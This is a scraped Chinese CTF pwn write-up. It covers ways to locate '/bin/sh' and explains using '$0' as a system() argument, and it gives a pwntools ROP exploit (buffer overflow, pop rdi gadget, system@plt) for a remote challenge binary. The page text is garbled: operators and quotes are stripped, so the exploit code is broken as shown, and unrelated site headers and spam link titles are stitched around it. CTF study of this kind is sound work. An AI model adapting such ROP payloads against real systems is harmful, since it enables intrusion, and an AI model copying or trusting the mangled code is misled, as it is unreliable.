当前位置: 首页 > news >正文

文明网站建设管理培训心得十万pv的网站建设

文明网站建设管理培训心得,十万pv的网站建设,网线制作实训报告心得体会,网站模板信息不存在pwn题中要通过system/excute等返回shell#xff0c;进而cat flag。今天遇到一题#xff0c;参数$(0)也可返回#xff0c;有必要记录一下。 目录 前言 一、/bin/sh 1.strings 2.IDA 3.pwntools 4.ROPgadget 5.libc中寻找 二、sh 三、$(0) exp IDA查看机器码 … pwn题中要通过system/excute等返回shell进而cat flag。今天遇到一题参数$(0)也可返回有必要记录一下。 目录 前言 一、/bin/sh 1.strings 2.IDA  3.pwntools  4.ROPgadget 5.libc中寻找 二、sh 三、$(0)  exp IDA查看机器码  总结 前言 就system的参数而言/bin/sh、sh、$(0)这三者似乎都可以返回shell 一、/bin/sh 这个无需多说然而查找方式可以总结一下 1.strings linux的指令~ strings filename | grep /bin/sh2.IDA  shiftF12即可获取所有的字符串即位置 当然我这个截图里面没有/bin/sh 3.pwntools  pwntools里面的ELF对象除了能够查看plt和got表信息地址、symbols查看标识位置还可以通过search来找字符串 from pwn import * p process(filename) bin_sh_addr next(p.search(/bin/sh)) #bin_sh_addr p.search(/bin/sh).next() #这个next的使用据我印象好像是因为python2到python3的缘故 4.ROPgadget ROPgadget --binary filename --strings /bin/sh 5.libc中寻找 from LibcSearcher import * #之所以称为ret2libc libcLibcSearcher(puts,puts_real_addr) #LibcSearcher,通过函数名和函数真实地址来找到对应的libc之后会做选择选择正确的那个即可 libc_addrputs_real_addr-libc.dump(puts) #libc的真实的基址puts的真实地址-puts相对于libc基址的偏移量 bin_sh_addrlibc_addrlibc.dump(str_bin_sh) #/bin/sh的真实地址libc基址的真实地址/bin/sh相对于libc基址的偏移量 system_real_addrlibc_addrlibc.dump(system) #system函数的真实地址libc基址的真实地址system函数相对于libc基址的偏移量 # 当然如果给了本地文件pwntools的ELF也可以类似于方法3找到字符串  二、sh 这个是环境变量配置做题的时候遇到过用于替换‘/bin/sh可以尝试一下 三、$(0)  这是当前遇到的一道题目[GFCTF 2021]where_is_shell 利用system($0)获得shell权限$0在机器码中为 \x24\x30 题目给出了tips函数这一串东西是什么意思呢地址也没有呀~ 查看机器码 发现了24 30机器码所以实际上我们可以把这里的地址作为参数。 exp from pwn import * from LibcSearcher import *context(oslinux,archamd64,log_leveldebug) ioremote(node4.anna.nssctf.cn,28559)elfELF(./shell)system_pltelf.symbols[system] #system_plt0x400430if system_plt!elf.symbols[system]:print(system_plt, ,elf.symbols[system])#这里的bin_sh实际上是\x24\x30开始的地址 bin_sh0x400541 rdi0x4005e3 ret0x400416payloadba*(0x108) payloadp64(ret) payloadp64(rdi)p64(bin_sh) payloadp64(system_plt)io.sendlineafter(bit?\n,payload) io.interactive()IDA查看机器码  opcode bytes设置一下保存即可  总结 对于system参数的选取有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦
http://www.dnsts.com.cn/news/8186.html

相关文章:

  • 各大网站推广平台wordpress imgedit
  • 肇庆做网站公司有口碑的南昌网站建设
  • WordPress文章投票seo搜索引擎优化岗位要求
  • 网站做wanzhihou网站功能是什么
  • 网站开发团队人员构成用钢铁侠做网站
  • 虚拟主机 多个网站网站做支付宝接口吗
  • 网页游戏网站大全突袭登錄wordpress界面
  • 做网站赚钱吗?做网站用的
  • 上海专业的网站建设公司哪家好建设网站能挣钱吗
  • 西湖区网站建设电子商务网站的建设过程
  • 影视网站怎么做网建天地户型图
  • 网站后台验证码无法显示室内装饰设计公司
  • 网站建设宣传ppt模板下载庭院设计效果图
  • 网站订单系统模板下载商业网站有哪些
  • 中国建设厅官方网站wordpress的支付插件
  • 许昌市做网站公司交互式网站是什么意思
  • 淄博电商网站建设企业网站开发摘要
  • 手机制作最简单钓鱼网站台州seo推广公司
  • 阿里云网站建设方案书是什么淘宝官网首页下载
  • 做蛋糕哪个教程网站好wordpress好看博客主题
  • 投资网站源码app数据分析软件
  • 寮步镇仿做网站徐州百度推广
  • php招聘网站建设qq网页版登录入口网站
  • 做蛋糕的企业网站wordpress wpzoom
  • 平安好车主app下载官方网站下载淮安集团网站建设
  • 北京网站关键词排名公司有什么网站可以免费看电影
  • 网站建设工具最简洁的人工智能建筑设计软件
  • 网站建设优化WordPress自己写主题
  • 福州网站建设外贸漯河城乡建设管理局网站
  • 做推文网站除了秀米还要什么校园网络设计方案ensp